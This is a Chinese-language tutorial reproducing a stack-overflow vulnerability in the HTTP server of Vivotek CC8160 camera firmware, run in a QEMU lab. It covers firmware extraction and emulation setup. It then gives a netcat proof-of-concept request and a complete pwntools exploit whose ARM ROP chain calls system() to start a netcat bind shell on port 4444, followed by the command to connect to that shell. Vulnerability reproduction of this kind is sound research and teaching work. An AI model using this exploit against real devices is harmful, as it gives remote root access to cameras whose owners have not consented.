Vivotek CC8160 固件栈溢出漏洞复现
字数 1072 2025-08-22 12:23:25
Vivotek CC8160 固件栈溢出漏洞复现教程
一、漏洞概述
本教程将详细讲解Vivotek CC8160摄像头固件中存在的栈溢出漏洞的复现过程。该漏洞存在于HTTP服务的处理逻辑中,通过精心构造的HTTP请求可以触发栈溢出,进而实现远程代码执行。
二、环境准备
1. 固件获取与提取
-
下载固件:
http://download.vivotek.com/downloadfile/downloads/firmware/cc8160firmware.zip -
使用binwalk提取固件:
binwalk -Me CC8160-VVTK-0113b.flash.pkg -
提取后的文件位置:
/_CC8160-VVTK-0113b.flash.pkg.extracted/_31.extracted/_rootfs.img.extracted/squashfs-root -
确认架构信息:
- 32位小端序
- ARM架构
2. 漏洞分析
漏洞存在于HTTP请求处理中,关键代码如下:
v33 = strstr(haystack, "Content-Length");
v34 = strchr(v33, 10); // 查找换行符\n(ASCII 10)
v35 = strchr(v33, 58); // 查找冒号:(ASCII 58)
strncpy(dest, v35 + 1, v34 - (v35 + 1));
漏洞点:
haystack是可控的HTTP请求内容v35和v34都是从v33截取strncpy操作可能导致dest缓冲区溢出
三、环境搭建
1. QEMU用户模式仿真
-
复制QEMU ARM仿真器:
cp /usr/bin/qemu-arm-static . -
尝试运行HTTP服务:
sudo chroot . ./qemu-arm-static ./usr/sbin/httpd -
解决
boa.conf缺失问题:- 问题:
Could not open boa.conf for reading - 解决方案:将
etc/conf.d/boa/boa.conf文件复制到../mnt/flash/目录
- 问题:
2. 主机名解析问题修复
- 修改hosts文件:
cat ./etc/hosts 127.0.0.1 Network-Camera localhost DESKTOP-6B71JP4 echo "192.168.100.2 DESKTOP-6B71JP4 localhost" > squashfs-root/etc/hosts
3. QEMU系统模式仿真环境搭建
-
下载必要文件:
rm -rf vmlinuz-3.2.0-4-versatile rm -rf initrd.img-3.2.0-4-versatile wget https://people.debian.org/~aurel32/qemu/armel/vmlinuz-3.2.0-4-versatile wget https://people.debian.org/~aurel32/qemu/armel/initrd.img-3.2.0-4-versatile -
设置tap0网卡(net.sh):
sudo ip tuntap add mode tap name tap0 sudo ip link set tap0 up sudo sysctl -w net.ipv4.ip_forward=1 sudo iptables -F sudo iptables -X sudo iptables -t nat -F sudo iptables -t nat -X sudo iptables -t mangle -F sudo iptables -t mangle -X sudo iptables -P INPUT ACCEPT sudo iptables -P FORWARD ACCEPT sudo iptables -P OUTPUT ACCEPT sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT sudo ifconfig tap0 192.168.100.254 netmask 255.255.255.0 -
QEMU启动脚本(start.sh):
sudo qemu-system-arm \ -M versatilepb \ -kernel vmlinuz-3.2.0-4-versatile \ -initrd initrd.img-3.2.0-4-versatile \ -hda debian_wheezy_armel_standard.qcow2 \ -append "root=/dev/sda1" \ -net nic -net tap,ifname=tap0,script=no,downscript=no \ -nographic -
设置QEMU虚拟机网络:
ifconfig eth0 192.168.100.2 netmask 255.255.255.0 route add default gw 192.168.100.254 -
传输文件到QEMU虚拟机:
sudo scp -r squashfs-root/ root@192.168.100.2:/root -
启动服务:
chmod -R 777 squashfs-root/ chroot ./squashfs-root/ /bin/sh ./usr/sbin/httpd
四、漏洞验证与利用
1. 基本POC验证
echo -en "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n" | netcat -v 192.168.100.2 80
2. 调试环境设置
-
在QEMU虚拟机中启动gdbserver:
./gdbserver.armel --attach 192.168.100.254:1234 2327 -
使用gdb-multiarch进行远程连接:
gdb-multiarch target remote 192.168.100.254:1234
3. 漏洞利用分析
-
计算溢出大小:
- 通过调试确认溢出大小为52字节
-
关键返回地址:
- 在
0x18398位置发生ret返回 - ARM架构通过pop指令给pc赋值
- 在
-
ROP链构造要点:
- ARM架构函数调用约定:前4个参数保存在R0~R3
- 需要将R0设置为反弹shell指令的地址
- 使用
pop {r1, pc}+mov r0, r1组合
4. 完整利用代码
#!/usr/bin/python3
from pwn import *
import requests
p=remote('192.168.100.2',80)
libc=ELF('./lib/libc.so.0')
context.log_level='debug'
libc_base=0xb6f2d000
pop_r1=0x00048784+libc_base
mov_r0_r1=0x00016aa4+libc_base
system=libc_base+libc.sym['system']
stack = 0xbeffeb64
amd='aaaaaa'
head = b"POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:"
payload = b'b'*(0x00003c-8)+p32(pop_r1)+p32(stack)+p32(mov_r0_r1)+b'b'*8+p32(system)
end = b'nc -lp 4444 -e /bin/sh;'+b'\r\n\r\n'
p.sendline(head+payload+end)
5. 利用效果
执行成功后,目标设备会开启4444端口,可以通过nc连接获取shell:
nc 192.168.100.2 4444
五、总结
本教程详细介绍了Vivotek CC8160摄像头固件中栈溢出漏洞的复现过程,包括:
- 固件提取与分析
- QEMU仿真环境搭建
- 漏洞验证与调试
- ROP链构造与利用
关键点:
- ARM架构下的ROP构造与x86有所不同
- 需要正确处理函数调用约定和寄存器使用
- 环境搭建中的网络配置和文件系统修复是关键